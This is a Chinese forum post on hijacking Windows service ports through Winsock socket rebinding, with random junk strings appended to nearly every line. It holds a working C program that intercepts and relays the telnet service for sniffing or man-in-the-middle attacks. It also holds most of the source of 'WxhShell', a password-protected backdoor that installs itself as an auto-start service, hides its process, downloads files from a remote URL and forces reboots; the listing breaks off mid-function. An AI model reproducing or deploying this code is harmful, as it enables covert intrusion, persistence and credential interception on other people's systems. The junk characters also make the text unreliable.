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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^/ =#UQ*k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f\1A! Yp  
e)IpPTj#  
  saddr.sin_family = AF_INET; ym/fFm6h  
iQ6epg1wB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lz0TK)kuC  
TO*BH^5R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .R8 HZ}3  
$DC*i-}qFg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CWG6;NT6m  
wHv]ViNvXE  
  这意味着什么?意味着可以进行如下的攻击: #9 fWAF  
|R@~-Ht  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~h=X8-D  
uV hCxUMQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZBG}3Z   
G633Lm`ri  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xy5s^82?  
#:|+XLL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9F- )r'  
?$Wn!"EC8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z!&Rr~i <  
[;.`,/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a7/-wk  
a=$t&7;,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gx:;&4AD  
lvpc*d|K  
  #include *tX{MSYW  
  #include 9Sq%s&  
  #include %q322->Z  
  #include    hv$m4,0WB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H,<7G;FPT  
  int main() g3sUl&K  
  { b7\ cxgRq  
  WORD wVersionRequested; q7m6&2$[  
  DWORD ret; vF/ =J  
  WSADATA wsaData; )|<_cwz  
  BOOL val; n*'<uKpM  
  SOCKADDR_IN saddr; Grz 3{U  
  SOCKADDR_IN scaddr; 0Hw-59MK  
  int err; iH2n.M "  
  SOCKET s; m&0"<V!H/B  
  SOCKET sc; "SoHt]%#  
  int caddsize; /DO/Tqdfe  
  HANDLE mt; b2^AP\: k  
  DWORD tid;   uw7{>9  
  wVersionRequested = MAKEWORD( 2, 2 ); -g/hAxb5  
  err = WSAStartup( wVersionRequested, &wsaData ); /_-;zL  
  if ( err != 0 ) { ^, i>'T  
  printf("error!WSAStartup failed!\n"); F'?I-jtI  
  return -1; ;C/bJEgdd  
  } ixh47M  
  saddr.sin_family = AF_INET; O0*e)i8  
   YEx)"t8E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "$5\,  
a!c[!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W~B5>;y  
  saddr.sin_port = htons(23); b~C$R[S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tAFti+Qb  
  { &~f3psA  
  printf("error!socket failed!\n"); sK=}E=  
  return -1; a)! g7u  
  } j#6|V]l  
  val = TRUE; iG ,t_??  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 - ?!:{UXl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jN+N(pIi.o  
  { X7|.T0{=x  
  printf("error!setsockopt failed!\n"); Qc{RaMwD  
  return -1; + f;CyMEp  
  } Q1&P@Io$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +>g`m)?p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =KX<_;E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ei@M$Fd  
I5);jgb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m>e3vu  
  { dYojm1MQ  
  ret=GetLastError(); ;}.Kb  
  printf("error!bind failed!\n"); pY^9l3y^  
  return -1; l t]B#, '  
  } }GnwY97  
  listen(s,2); gCVryB@z2  
  while(1) f.pkQe(  
  { `Xc irfp  
  caddsize = sizeof(scaddr);  QI!i  
  //接受连接请求 w.+Eyu_I\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7yiJ1K<bIt  
  if(sc!=INVALID_SOCKET) m^\TUj  
  { w3D]~&]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;ggy5?>Qu  
  if(mt==NULL) x@cN3O  
  { VAYb=4lt  
  printf("Thread Creat Failed!\n"); .Nx W=79t  
  break; xwzT#DXGJ  
  } Rh] P8  
  } I(n* _bFq  
  CloseHandle(mt); re,.@${H  
  } )3z]f2  
  closesocket(s); dyFKxn`,  
  WSACleanup(); _b4fS'[  
  return 0; ; a/cty0Ch  
  }   <-jGqUN_I  
  DWORD WINAPI ClientThread(LPVOID lpParam) fjDpwb:x)  
  { /k"hH\Pp  
  SOCKET ss = (SOCKET)lpParam; 8!h'j  
  SOCKET sc; ._p""'Sa  
  unsigned char buf[4096]; 5>ST"l_ca  
  SOCKADDR_IN saddr; O'}l lo  
  long num; dNV v4{S  
  DWORD val; dTD5(}+J  
  DWORD ret; o;-<|W>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }Pg' vJW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0v"&G<J  
  saddr.sin_family = AF_INET; Wc#:f 8dr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ha ZFxh-(  
  saddr.sin_port = htons(23); 1 2]fQkp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nY) .|\|i  
  { {.#zHL ;  
  printf("error!socket failed!\n"); ZZ A.a  
  return -1; T }uE0Z,  
  } ]u&dJL  
  val = 100; {=At#*=A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G79C {|c\  
  { liNON  
  ret = GetLastError(); Q.(51]'  
  return -1; 1BD6 l2y  
  } + >sci  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t,vTAq.))  
  { $M]%vG  
  ret = GetLastError(); zw:/!MS  
  return -1; \kwe51MQ  
  } 8g5V,3_6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gB CC  
  { .Y/-8H-3v  
  printf("error!socket connect failed!\n"); m(3);)d  
  closesocket(sc); T~Yg5J  
  closesocket(ss); W<gD6+=8  
  return -1; B {i&~k  
  } Tj,Nmb>Q7'  
  while(1) rqvU8T7A  
  { 6dT|;koWbm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f Lk"tW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~{ .,8jE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 owMuT^x?  
  num = recv(ss,buf,4096,0); /;UTC)cJ  
  if(num>0) Ry%YM,K3  
  send(sc,buf,num,0); l/V&s<  
  else if(num==0) KHJ=$5r)  
  break; mW$ot.I  
  num = recv(sc,buf,4096,0); R;=6VH  
  if(num>0) E0bFx5e5fu  
  send(ss,buf,num,0); lgG8!Ja  
  else if(num==0) .D@/y uV  
  break; j-P^Zv};u  
  } FYeEG  
  closesocket(ss); t+}uIp42<  
  closesocket(sc); aVK()1v]  
  return 0 ; Hz4uZ*7\|  
  } 5~yb ~0  
*Yp qq  
~ iT{8  
========================================================== ~M[>m~8  
O&P>x#w  
下边附上一个代码,,WXhSHELL :Ba-u  
OX,F09.C  
========================================================== lIy/;hIc  
2?*1~ 5~I  
#include "stdafx.h" ` t\z   
2wOy}:  
#include <stdio.h> F9D"kG;Dk  
#include <string.h> `]yKM0 Z  
#include <windows.h> )9pBu B  
#include <winsock2.h> s@M  
#include <winsvc.h> }I<N^j=/pO  
#include <urlmon.h> Alh?0Fk3)  
LsotgQ8   
#pragma comment (lib, "Ws2_32.lib") i0&) N,5_  
#pragma comment (lib, "urlmon.lib") %~(~W>^A  
}` @?X"r  
#define MAX_USER   100 // 最大客户端连接数 g&aT!%QvX+  
#define BUF_SOCK   200 // sock buffer W,'3D~g8  
#define KEY_BUFF   255 // 输入 buffer o;'4c  
'!j(u@&!  
#define REBOOT     0   // 重启 >?Qxpqf2  
#define SHUTDOWN   1   // 关机 :dbV2'vIQ  
p d%LL?O  
#define DEF_PORT   5000 // 监听端口 D;yd{]<  
D1~^\)*  
#define REG_LEN     16   // 注册表键长度 3\9][S-B  
#define SVC_LEN     80   // NT服务名长度 pgfu+K7?w  
{G]`1Q1DR  
// 从dll定义API RQJ9MG w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .hnF]_QQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l2M/ ,@G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !Ba3` B5l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ].c@Gm_(  
S&`O\!NF  
// wxhshell配置信息 6 cr^<]v!  
struct WSCFG { Uc>LFX& -B  
  int ws_port;         // 监听端口 bAdAp W  
  char ws_passstr[REG_LEN]; // 口令 u p7 x)w:  
  int ws_autoins;       // 安装标记, 1=yes 0=no QZ9M{Y/  
  char ws_regname[REG_LEN]; // 注册表键名 ees^O{ 8  
  char ws_svcname[REG_LEN]; // 服务名 :'b%5/ ^q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E- [:. &  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |3W3+Rn!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i!ds{`d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FRD<0o/`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fzOMX z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3# :EK M~!  
2tlO"c:_/  
}; 'NRN_c9  
Hm<M@M$aG  
// default Wxhshell configuration  2w;G4  
struct WSCFG wscfg={DEF_PORT, +;5Wp$ M\  
    "xuhuanlingzhe", PH{ c,  
    1, pIrv$^  
    "Wxhshell", ]s}aC9I  
    "Wxhshell", DD)mN) &T  
            "WxhShell Service", IFkvv1S`  
    "Wrsky Windows CmdShell Service", se"um5N-  
    "Please Input Your Password: ", jBGG2[hV  
  1, nEuct4BcL}  
  "http://www.wrsky.com/wxhshell.exe", Y~}QJ+`?  
  "Wxhshell.exe" orK+B4  
    }; SSo~.)J  
@b>YkJDk  
// 消息定义模块 TosPk(o(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tgS+" ugl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -y9Pn>~V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MH2OqiCI  
char *msg_ws_ext="\n\rExit."; <m:4g ,6  
char *msg_ws_end="\n\rQuit."; {m>~`   
char *msg_ws_boot="\n\rReboot..."; /:Rn"0   
char *msg_ws_poff="\n\rShutdown..."; v^57j:sD  
char *msg_ws_down="\n\rSave to "; 'G3+2hah  
CiHn;-b;  
char *msg_ws_err="\n\rErr!"; 23,%=U  
char *msg_ws_ok="\n\rOK!"; 1@s^$fvW  
>zN" z)  
char ExeFile[MAX_PATH]; u>j5`OXo  
int nUser = 0; DPR;$yV  
HANDLE handles[MAX_USER]; .)?2)Fl  
int OsIsNt; dW:w<{a!R  
T;xHIg4  
SERVICE_STATUS       serviceStatus; ;N9n'Sq4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bl:{p>-q  
I}I}K~se*  
// 函数声明 @)S sKk|  
int Install(void); 7v.#o4nPK  
int Uninstall(void); $a)J CErN  
int DownloadFile(char *sURL, SOCKET wsh); hG< a  
int Boot(int flag); IH*U!_ `  
void HideProc(void); 5>0\e_V  
int GetOsVer(void); ,7WK<0  
int Wxhshell(SOCKET wsl); R*zBnHAb!  
void TalkWithClient(void *cs); @|jKO5Y  
int CmdShell(SOCKET sock); ze-TBh/  
int StartFromService(void); UA1]o5K  
int StartWxhshell(LPSTR lpCmdLine); ^/ULh,w!fP  
0m)-7@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {yul.m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iDyMWlV  
w+URCj  
// 数据结构和表定义 QfKR pnj(o  
SERVICE_TABLE_ENTRY DispatchTable[] = "Yc^Nc  
{ m1M;'tT@  
{wscfg.ws_svcname, NTServiceMain}, cWX"e6  
{NULL, NULL} "P>$=X~Zi  
}; YqK+F=0  
v3=&{}+j.  
// 自我安装 ^\Ue7,H-  
int Install(void) ;HD 4~3   
{ @+QYWh'  
  char svExeFile[MAX_PATH]; 8ItCfbqa6  
  HKEY key; ^!-E`<jW8  
  strcpy(svExeFile,ExeFile); tU-#pB>H  
ui0J}DM  
// 如果是win9x系统,修改注册表设为自启动 6:SK{RSURC  
if(!OsIsNt) { Dohl,d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uyS^W'fF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N{0+C?{_  
  RegCloseKey(key); )VV4HoH]8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \.XT:B_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tk] _QX %  
  RegCloseKey(key); Lqz}&A   
  return 0; >b/k|?xP  
    } cQUH%7m  
  } fwar8 i1  
} =0jmm(:Jh  
else { kHz+ ZY<?  
62k9"xSH  
// 如果是NT以上系统,安装为系统服务 9!Q $GE?vl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wh7i G8jCz  
if (schSCManager!=0) P|!/mu]  
{ OXa5Jg}=  
  SC_HANDLE schService = CreateService F|h ,a;2  
  ( TYmUPS$  
  schSCManager, 7>c 0V&  
  wscfg.ws_svcname, @[[C s*-  
  wscfg.ws_svcdisp, |zRoXO`]-*  
  SERVICE_ALL_ACCESS, etQx>U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cN[ q)ts  
  SERVICE_AUTO_START, 8as$h*W h  
  SERVICE_ERROR_NORMAL, d=.n|rS4 W  
  svExeFile, jN5} 2 p*  
  NULL, y5Z<uwXc  
  NULL, "`V"2zZlj  
  NULL, ^bY^x+d  
  NULL, Aspj*CDu  
  NULL z_[ 3IAZ  
  ); nEZ-h7lzl(  
  if (schService!=0) {YxSH %  
  { Rd@n?qB  
  CloseServiceHandle(schService); s$+: F$Y0  
  CloseServiceHandle(schSCManager); NXV~[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sx4UaV~"  
  strcat(svExeFile,wscfg.ws_svcname); GakmROZ@9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qQ?,|4)y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C7c|\T  
  RegCloseKey(key); t Sh}0N)  
  return 0; dmTW]P2  
    } G74a9li@  
  } R fVV(X  
  CloseServiceHandle(schSCManager); X<@y*?D9D  
} ki][qvXJ  
} >8Yrmq  
;)bF#@Q  
return 1; n79DS(t  
} g)zn.]  
C6;](rN)N  
// 自我卸载 %+j]vP  
int Uninstall(void) ]Pg?(lr6)  
{ ,~=z_G`R  
  HKEY key; ,co9f.(w  
a_}BTkfHa  
if(!OsIsNt) { ck4T#g;=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9DP75 ti  
  RegDeleteValue(key,wscfg.ws_regname); ;29XvhS8  
  RegCloseKey(key); [gg 7Z|Hu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 51FK~ 5  
  RegDeleteValue(key,wscfg.ws_regname); Ws}kb@5  
  RegCloseKey(key); zdpLAr  
  return 0; l2KxZteXY0  
  } ]@j"0F/`  
} ^VLUZ  
} J1v0 \  
else { $/U^/2)  
RWm Q]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z6>ZV6(d2^  
if (schSCManager!=0) (qc!-Isd~[  
{ bZ@53  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S|5lx7  
  if (schService!=0) 4`'BaUU(  
  { pl^"1Z=*  
  if(DeleteService(schService)!=0) { odT7Gq  
  CloseServiceHandle(schService); k;Ny%%5  
  CloseServiceHandle(schSCManager); 3~1lVU:  
  return 0; x2IU PM  
  } Qd)cFL "v  
  CloseServiceHandle(schService); V/wc[p ~  
  } @xM!:  
  CloseServiceHandle(schSCManager); JgjL$n;F  
} %dWFg<< |  
} i(cb&;Xx:A  
V;+$/>J`vB  
return 1; =A&*SE o5  
} 5]n<%bP\  
-D^y)  
// 从指定url下载文件 EvardUB)  
int DownloadFile(char *sURL, SOCKET wsh) ~b<4>"7y.  
{ Y`_X@Q  
  HRESULT hr; {*r$m>HpM  
char seps[]= "/"; <}'B-k9  
char *token; VNEZBy"F  
char *file; Ru\Lr=9  
char myURL[MAX_PATH]; 3[O =2  
char myFILE[MAX_PATH]; nm|m1Z+U  
3Os3=Ix  
strcpy(myURL,sURL); O.8m%ZjD  
  token=strtok(myURL,seps); 4a50w:Jy]  
  while(token!=NULL) YH+\rb_  
  { gm\o>YclS  
    file=token; X\)KVn`  
  token=strtok(NULL,seps); Y>!W&Gtu  
  } 6!D  
oHFDg?Z`  
GetCurrentDirectory(MAX_PATH,myFILE); Z.OrHg1  
strcat(myFILE, "\\"); $m0x8<7nu  
strcat(myFILE, file); =4\~M"[p  
  send(wsh,myFILE,strlen(myFILE),0); w\;9&;;  
send(wsh,"...",3,0); *SG2k .$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FveK|-  
  if(hr==S_OK) bFxJ|  
return 0; ex!w Y  
else Gy7x?  
return 1; adPU)k_j:  
Lj* =*V  
} !!X9mI|2|  
6f9<&dCK  
// 系统电源模块 I=Dk'M  
int Boot(int flag) ymVd94L  
{ 4bjp*1*]  
  HANDLE hToken; 7,VWvmWJex  
  TOKEN_PRIVILEGES tkp; bh6wI%8H  
W%ZU& YBc  
  if(OsIsNt) { l*MUDT@M8\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v?=VZ~`O(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P\0%nyOG(%  
    tkp.PrivilegeCount = 1; *H<g9<Dn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QgM_SY|Rj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~g6[ [  
if(flag==REBOOT) { )$N{(Cke2T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =WRU<`\  
  return 0; )KQv4\0y<  
} ?(UXK hs  
else { kAQZj3P]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .-6s`C2 Y}  
  return 0; ,$ret@.H  
} !PTbR4s  
  } 2j BE+k"M  
  else { 4$w-A-\ t  
if(flag==REBOOT) { BcO2* 3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $5(%M8qmQ  
  return 0; #;\;F PuZ  
} `%I{l  
else { ##ea-"m8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #/=yz<B  
  return 0; 3t6'5{  
} yk6UuI^/  
} mzR @P$:36  
=zGz|YI*?  
return 1; Rk0 rHC6[  
} Y[]t_o)  
: 2d9ZDyD  
// win9x进程隐藏模块 5F?g6?j{  
void HideProc(void) 9f[[%80  
{ hRcJ):Wyb  
lq9h Dn[p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }H^^v[4  
  if ( hKernel != NULL ) ^K[tO54  
  { q)i(wEdUZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y9 ' 3vZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KA2B3\  
    FreeLibrary(hKernel); )yAPYC  
  } zX Pj7K*  
p{PYUW"?^  
return; 4 V*)0?oYE  
} n\DT0E]  
na; ^/_U@  
// 获取操作系统版本 :m)?+  
int GetOsVer(void) /Loe y   
{ NistW+{<  
  OSVERSIONINFO winfo; OyZ>R~c'B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dAt[i \S  
  GetVersionEx(&winfo); _( Cp   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Db:WAjU  
  return 1; dPX>A4wp  
  else IvSrJe[;  
  return 0; WF0>R^SpZ  
} \./2Qc,  
E #]%e^  
// 客户端句柄模块 e@VRdhb  
int Wxhshell(SOCKET wsl) ^/,yZ:  
{ I2Rp=L:z5  
  SOCKET wsh; tTamFL6  
  struct sockaddr_in client; <a3XV  
  DWORD myID; )$g /PQ  
N^at{I6C  
  while(nUser<MAX_USER) KPqI(  
{ =MLL-a1  
  int nSize=sizeof(client); ir?9{t/()  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oI/ThM`=q  
  if(wsh==INVALID_SOCKET) return 1; i*>yUav"  
<3CrCEPC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w;_=$L'H&G  
if(handles[nUser]==0) |sAg@kM  
  closesocket(wsh);   {`  
else Inoou 'jX  
  nUser++; +y(h/NcQ  
  } v[GHqZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x{5*%}lX8  
i i Y[  
  return 0; k]sT'}[n  
} zb$U'D_ -f  
?K#$81;[  
// 关闭 socket w5\)di  
void CloseIt(SOCKET wsh) >fQN"(tf  
{ fXj  
closesocket(wsh); {}e IpK,+  
nUser--; WKML#U]5T  
ExitThread(0); -]%@,L^@  
} e)7r  
#YdU,y=B  
// 客户端请求句柄 .m51/X&*n  
void TalkWithClient(void *cs) (#lS?+w)  
{ $!w%=  
(%, '  
  SOCKET wsh=(SOCKET)cs; @su,w,xLS  
  char pwd[SVC_LEN]; nX'.'3  
  char cmd[KEY_BUFF]; 6 [E"  
char chr[1]; ^u{$$.&  
int i,j; +=4b5*+qG  
:f:C*mYvu  
  while (nUser < MAX_USER) { HS9U.G>  
qMOD TM~+  
if(wscfg.ws_passstr) { `!N?#N:b)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zZ-*/THB@R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n9DFa3  
  //ZeroMemory(pwd,KEY_BUFF); -`&;3 7  
      i=0; i YkNtqn/  
  while(i<SVC_LEN) { ^` THV  
cyyFIJj]  
  // 设置超时 [E1I?hfJ  
  fd_set FdRead; V-0Y~T  
  struct timeval TimeOut; va<pHSX&I@  
  FD_ZERO(&FdRead); rD gl@B3  
  FD_SET(wsh,&FdRead); l"CONzm!  
  TimeOut.tv_sec=8; |Sm/Uq(c  
  TimeOut.tv_usec=0; 8qveKS]vZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `PfC:L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]vMft?  
S0cO00_ob  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hrK^oa_[W  
  pwd=chr[0]; `^ok5w"oi  
  if(chr[0]==0xd || chr[0]==0xa) { aL}_j#m{  
  pwd=0; Xo b##{P3  
  break; PX] v"xf  
  } ,*US) &x  
  i++; Y!zlte|P  
    } 62) F  
!v=ha%w{  
  // 如果是非法用户,关闭 socket NT'Yh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); = 1C9lKm  
} %VCHM GP=  
wvD|c%   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J5wq}<8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zh*I0m   
w'C(? ?mH  
while(1) { FU zY&@Y  
= 4L.  
  ZeroMemory(cmd,KEY_BUFF); e!#:h4I  
wuCODz@~  
      // 自动支持客户端 telnet标准   "\ md  
  j=0; , {^g}d8  
  while(j<KEY_BUFF) { %|Vq"MW,I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1ARIZ;H  
  cmd[j]=chr[0]; QMP:}  
  if(chr[0]==0xa || chr[0]==0xd) { ?uQpt(  
  cmd[j]=0; lOZZ-  
  break; I5{SC-7  
  } BZ.H6r'Q  
  j++; ~<-i7uM  
    } Gwe9< y  
zKv}J  
  // 下载文件 }/|1"D  
  if(strstr(cmd,"http://")) { rnUe/HjH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :B im`mHl  
  if(DownloadFile(cmd,wsh)) }I"^WCyH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Q&Z/Fe  
  else kq+L63fZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HUH=Y;  
  } hz!.|U@,{<  
  else { {dDU^7O  
Q =Z-vTD+  
    switch(cmd[0]) { j1)w1WY0@  
  :7gIm|2"]  
  // 帮助 @L0.Z1 ).  
  case '?': { sqhM[u k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }QK-@T@4<  
    break; o 0B`~7(  
  } B4%W,F:@  
  // 安装 \RJ428sxn  
  case 'i': { w5p+Yx=q  
    if(Install()) UWz<~Vy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F{v+z8nW  
    else #H|]F86(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o&zeOJW  
    break; WE\V<MGS/  
    } c(fwl`y !x  
  // 卸载 %j yLRT]H  
  case 'r': { R b'"09)$  
    if(Uninstall()) b@Fa| >"_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wNn6".S   
    else wml`3$"cf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s<:J(gD  
    break; 72aj4k]^  
    } r!+)U#8  
  // 显示 wxhshell 所在路径 r>V go):s  
  case 'p': { 3/iGSG`  
    char svExeFile[MAX_PATH]; U.&=b<f(0r  
    strcpy(svExeFile,"\n\r"); ,Ao8QN  
      strcat(svExeFile,ExeFile); E8/P D  
        send(wsh,svExeFile,strlen(svExeFile),0); 7C=t19&R'  
    break; (sY?"(~j?T  
    } &@y W< <  
  // 重启 uv,t(a.^  
  case 'b': { _|3n h;-m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N G4wtDa  
    if(Boot(REBOOT)) h<[o;E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf 2  
    else { 6 LC*X  
    closesocket(wsh); n<MH\.!tM  
    ExitThread(0); Xr-eDUEi  
    } *+5AN306  
    break; CQS34&G$a  
    } mDtD7FzJ  
  // 关机 t<rhrW75P  
  case 'd': {  vO 3fAB  
